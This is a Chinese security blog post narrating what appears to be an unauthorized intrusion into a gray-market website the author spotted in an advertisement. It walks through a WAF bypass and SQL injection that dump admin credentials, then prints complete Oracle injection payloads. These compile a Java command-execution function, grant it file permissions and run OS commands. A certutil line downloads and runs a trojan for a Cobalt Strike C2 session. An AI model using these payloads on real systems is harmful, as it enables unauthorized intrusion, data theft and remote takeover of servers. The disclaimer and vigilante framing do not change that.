[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

admin 2024年7月3日07:40:17评论3 views字数 4408阅读14分41秒阅读模式

阅读须知

文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

背景

近期,午餐后我去了洗手间,发现一则广告被贴在了洒水区。出于正义感,我拍下了照片,计划找时间处理,以防止更多人受其影响。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

信息刺探

使用特定的应用程序捕获到app一个网址,初步查看后发现是一个会员登录页面

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

尝试通过抓包工具进行爆破,但验证码成了障碍,暂时搁置。转而进行信息搜集,包括寻找真实IP、C段扫描、端口扫描以及Google搜索等,但发现结果不尽人意,大多数站点都是使用相同模板。尽管如此,还是继续探索,通过FOFA工具发现了一些使用DedeCMS构建的网站。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

我将直接进入DedeCMS网站,首先检查其版本信息。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

我尝试访问了member和dede等目录,但它们已被删除。我也尝试了后台目录爆破和利用公开漏洞,但都未能成功。

接下来,我继续在FOFA上进行搜索,希望能找到新的线索。经过仔细翻阅多页结果,终于发现了一个后台系统。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

我访问了该链接,发现它是一个带有Google Authenticator验证的登录页面。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

我尝试使用"admin"作为用户名进行弱密码爆破,但没有成功。接着,我尝试了基于人名的弱密码,同样无法登录。我开始怀疑账户可能设置了Google安全码,即使爆破成功,没有这个安全码也无法进入系统。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

考虑到登录页面有多个版本,我推测后台可能也不止一个。利用后台系统的关键词继续搜索,我找到了60条相关记录,它们属于不同版本的后台系统。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

选择了最早的一个后台版本进行爆破尝试,但依然没有收获。既然已经发现了后台,按照常规的渗透测试流程,我考虑寻找可能存在的注入点。我测试了后台的功能和API接口,但未发现任何漏洞。

想到会员登录页面还没有详细测试,我决定回头再检查一遍。发现没有账号的情况下,访问register.html页面可以直接注册,且注册过程中不需要填写手机号码或进行身份认证。注册成功后,我开始进行进一步的测试。在测试过程中,我发现网站部署了WAF(Web Application Firewall),它对常规的注入关键词进行了过滤。最终,在搜索框中,我注意到日期字段可能存在盲注漏洞。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

进行了测试,发现WAF过滤了诸如select=等关键字。为了绕过WAF的限制,我尝试改变HTTP请求的Body编码,结果成功避开了WAF的过滤。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

既然已经找到了绕过WAF的方法,接下来就可以使用sqlmap工具进行进一步的测试。由于是盲注,获取数据的速度可能会比较慢,但通过这种方法,我首先成功获取了一个管理员账号的信息。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

尽管成功获取了管理员账号的明文密码,但由于存在Google Authenticator的二次验证,直接登录可能并不可行。在尝试使用该密码登录后,系统直接跳转到了百度,这可能意味着登录过程被某种安全措施中断了。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

既然Google Authenticator的二次验证是一个障碍,我决定获取管理员表中的所有账号信息,然后进行批量测试。使用Burp Suite的爆破功能对这些账号进行尝试,最终发现只有一个账号能够成功登录。但值得注意的是,并非所有后台系统都能用这个账号登录,不同版本的会员功能可能需要重新获取管理员密码。经过这一系列的努力,现在我终于能够登录到后台系统中了。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

获取shell

进入后台后,我开始寻找可能获得shell的漏洞点。检查了大部分功能模块,但并没有发现上传功能。然而,在通知功能区域,我发现了一个fckeditor 2.6.4版本的编辑器,这可能是一个可以利用的点。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

由于原始的test.html测试页面已经被删除,我选择从本地下载了一套相同的编辑器。接着,我修改了test.html页面中的路径,使其指向web路径,这样一来,我就能够获取到目录信息。尽管如此,尝试利用这个编辑器进行任意文件上传的操作并没有成功,没有发现相关的漏洞。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

由于在当前系统中没有发现其他可利用的漏洞,并且测试过程中发现用户查找功能存在SQL联合注入漏洞,且具有回显,这使得执行更为方便。如果权限足够,可以尝试利用Oracle的命令执行来提升权限。

然而,由于WAF的存在,我未能绕过对select关键词的过滤。因此,我考虑转向其他系统进行尝试,早期的系统可能防护措施相对薄弱。我选择了最早的系统开始测试,发现它没有对关键词进行过滤,可以直接进行SQL注入。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

在Oracle数据库中,要收集数据库的版本信息,可以使用以下SQL查询语句:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

这条语句会返回所有包含"Oracle"关键字的banner信息,通常用于快速获取数据库的版本信息。在进行SQL注入时,如果能够执行这条语句,将有助于了解目标数据库的详细信息,为进一步的渗透测试提供帮助。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

Oracle数据库版本11.2.0.1,确认存在命令执行能力。

select role from session_roles

查询session_roles显示拥有DBA权限。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

创建Java源代码对象的SQL语句:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;'),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--

检查创建是否成功的SQL查询:

SELECT OWNER, OBJECT_NAME, OBJECT_TYPE FROM all_objects WHERE OBJECT_NAME LIKE '%LINX%' OR OBJECT_NAME LIKE '%Linx%';
[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

为用户添加Java运行权限的SQL语句:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''grant JAVASYSPRIV to SYSTEM''; commit; end;'FROM DUAL--;
[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

执行Java权限授予的SQL语句:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''begin dbms_java.grant_permission(''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''', ''''EXECUTE'''' ); end;'' commit; end;'FROM DUAL--;
[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

创建执行函数LINXRUNCMD的SQL语句:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''LinxUtil.runCMD(java.lang.String) return String''; commit; end;'FROM DUAL--;

验证函数创建是否成功的SQL查询:

SELECT OBJECT_ID FROM all_objects WHERE object_name = 'LINXRUNCMD';
[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

调用LINXRUNCMD函数执行whoami命令的SQL语句:

SELECT LinxRunCMD('whoami'FROM DUAL;
[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

下载并执行木马的命令:

certutil -urlcache -split -f http://127.0.0.1/1.exe C:WindowsTemp1.exe

请注意,上述命令是用于在Windows系统中通过certutil工具从指定URL下载文件到本地临时文件夹的示例。在实际操作中,应确保所有行为均符合法律和道德标准,并且只在获得适当授权的情况下进行。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

执行木马程序以建立C2(命令与控制)连接的命令:

C:WindowsTemp1.exe

这条命令假设木马文件已经被下载到C:WindowsTemp目录下,并命名为1.exe。执行此命令后,如果木马配置正确,C2服务器(如Cobalt Strike)将收到一个反弹的会话,从而允许操作者控制受影响的系统。

[渗透实战]去了趟洗手间 看到了需要被严厉打击的网址

在Server 2012服务器上,未能获取到明文密码。

总结

    渗透过程充满挑战,但WAF防护不足,成功突破。利用SQL注入获取关键数据,发现管理员账号未启用二次验证,顺利进入后台。通过后台权限,找到Oracle数据库的漏洞,执行联合注入,成功取得主机权限。然而,管理员最终察觉异常,可能因为流量异常或木马被检测,导致权限丧失。服务被迫关闭,反映出对方对网络安全的恐慌。许多从事灰色业务的人士会寻求网络安全专家进行防护。在此,呼吁网络安全从业者坚守诚信、道德,不违反法律法规,致力于正义。

原文始发于微信公众号(网安守护):中午跟老战友楼下吃饭 之后去了趟洗手间 看到了需要被严厉打击的网址

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日07:40:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [渗透实战]去了趟洗手间 看到了需要被严厉打击的网址https://cn-sec.com/archives/2902434.html

发表评论

匿名网友 填写信息